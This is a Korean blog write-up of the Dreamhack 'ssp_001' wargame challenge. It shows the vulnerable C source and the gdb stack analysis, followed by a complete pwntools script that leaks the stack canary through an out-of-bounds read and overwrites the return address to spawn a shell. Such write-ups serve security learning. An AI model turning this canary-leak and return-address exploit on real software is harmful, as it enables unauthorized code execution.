취약점분석/Pwnable

[Pwnable] ssp_001 write up

poiri3r 2025. 9. 24. 12:38

오늘은 저번 카나리 우회에 이은 ssp_001 문제 write up을 작성해보겠습니다.

ssp는 Stack Smashing Protector의 약자로 스택 버퍼 오버플로우를 마기 위해 개발된 보호 기법으로, Canary가 보호기법으로 되어있는 보호기법이다.

https://dreamhack.io/wargame/challenges/33

 

ssp_001

Description이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.

dreamhack.io

 

문제 소스코드를 살펴보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

void get_shell()이 있는걸 보아 get_shell의 주소를 구해서 실행하는 걸 목표로 해야될 것 같습니다.

해당 파일의 보호기법을 살펴보겠습니다.

checksec --file=./(filename)

을 입력하면 보호기법이 출력됩니다.

PIE는 꺼져있고 NX와 Canary가 활성화 되어 있습니다.

32비트 버전이고, 32비트버전은 SFP와 카나리의 크기가 4바이트로 64비트버전의 반값입니다.

일단 box와 name의 크기는 0x40으로 설정되어있습니다.

gdb로 붙여서 한번 실행해보겠습니다.

 

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);

print_box는 box의 [idx]번째 인덱스 값을 출력해주는 함수인데 여기서 버퍼오버 플로우를 발생시켜 canary값을 읽어온 뒤 리턴주소에 셸코드를 덮어서 익스플로잇을하면 될 것 같습니다.

상대주소를 얻기 위해서 메인을 어셈으로 보겠습니다.

main함수를 디스어셈한 결과고, 조금 길어서 중요한 부분만 살펴보겠습니다.

먼저 gs:0x14에서 값을 꺼내와 eax에 담는 부분이 있는데 64비트에서 fs에 해당하는 부분입니다.

eax의 값을 다시 ebp-0x8에 담는데

코드 제일 마지막에 보면 이 ebp-0x8의 값을 gs:0x14랑 xor해서 카나리값을 체크하는걸 볼 수 있고 ebp-0x8~ebp-0x4까지의 값이 Canary 값이라고 보면 될 거 같습니다.

gs:0x14에서 eax에 담기는 값과 canary값을 gdb에서 추출해서 봤는데 일치했습니다.

 

이제 버퍼 box와 name의 스택상 주소를 찾아보겠습니다.

 

어셈보다보면 

이렇게 je가 3번 붙어있는 부분이 있는데 이 부분이 c언어의 스위치문에 연결되어있습니다.

c언어에서 F,P,E,default에 해당하는 부분이 각각 main+155, main+192, main+249입니다.

 

main+155에 해당하는 부분부터 살펴보겠습니다.

왼쪽은 어셈값 오른쪽은 코드입니다.

printf@plt와 read@plt가 둘 다 있는걸 보니 case F가 맞는 것 같고 box의 스택상 주소가 ebp-0x88인걸 확인할 수 있습니다.

 

다음으로 main_192에 해당하는 case P 입니다.

 

idx의 스택상 주소는 ebp-0x94인것 같습니다.

 

다음으로 main+249에 해당하는 case E 입니다.

 

name_len의 주소는 ebp-0x90, name의 주소는 ebp-0x48인걸 확인할 수 있습니다.

 

제일 중요한부분만 스택글미으로 그려보면

ret 0x4 ebp+4
sfp 0x4 ebp
dummy 0x4 ebp-4
canary 0x4 ebp-8
name 0x40 ebp-48
box 0x40 ebp-88

 이렇게 되어있고, box의 idx값을 0x81~0x84로 설정하면 [ebp-0x8]~[ebp-0x4]사이의 4바이트 즉 카나리 값을 구해올 수 있습니다.

0x81~0x84까지 로컬로 넣어봤는데 index값이 잘 나오네요.

해당 부분을 스크립트 반복문으로 짜주겠습니다.

 

from pwn import*
p = remote("host8.dreamhack.games",port)

canary =[]

for i in range(4):
	p.sendline(b"P")
    p.sendline(str(0x80+i).encode())
    p.recvuntil(b" is : ")
    canary.append(int(p.recvline(),16))
canary = bytes(canary)
print(canary)

정상적으로 출력이 되고 있는 것 같습니다.

 

카나리값을 구했으니 리턴 주소를 구해보겠습니다.

리턴주소를 덮을 get_shell의 주소는 info function을 사용하면 구할 수 있습니다.

 

 

이제 payload를 작성하겠습니다.

저희는 마지막 E케이스의 name에 payload를 넣을것이기 때문에 name에서 카나리까지의 거리인 0x40만큼 A를 채워주고 카나리를 넣고 패딩,sfp를 덮은 뒤 주소를 넣어주면 됩니다.

payload = b"A" * 0x40 + canary + b"A" *4 + b"B" * 4 + p32(0x80486b9)

 

payload를 전송하는 코드입니다.

p.sendline(b"E")
p.sendline(str(len(payload)))
p.sendline(payload)

p.interactive()

 

원본 소스코드를 보면 scanf로 문자 길이를 받은 뒤 그 입력값 만큼 read로 입력을 받습니다.

그래서 payload의 길이를 구해 먼저 보낸 뒤 payload를 보냅니다.

from pwn import *

p = remote("host8.dreamhack.games", 21827)

canary = []

for i in range(4):
    p.sendline(b"P")
    p.sendline(str(0x80+i).encode())
    p.recvuntil(b"is : ")
    canary.append(int(p.recvline(),16))

canary = bytes(canary)
print(canary)

payload = b"A" * 0x40 + canary + b"A" *4 + b"B" * 4 + p32(0x80486b9)

p.sendline(b"E")
p.sendline(str(len(payload)))
p.sendline(payload)

p.interactive()

 

최종 소스코드입니다.

실행하면 다음과 같이 쉘을 익스플로잇 할 수 있습니다.

 

드림핵의 과정을 보고 모르는거 검색하고 따라가면서 했는데도 거진 4시간이 넘게 걸린 것 같습니다.

아직 기본기가 너무 부족한 것 같네요 .. 

시간날 때 다른 쉬운 문제들을 풀면서 pwntools랑 gdb에 익숙해져야 할 것 같습니다.

이상으로 이번 포스팅은 마치겠습니다 읽어주셔서 감사합니다.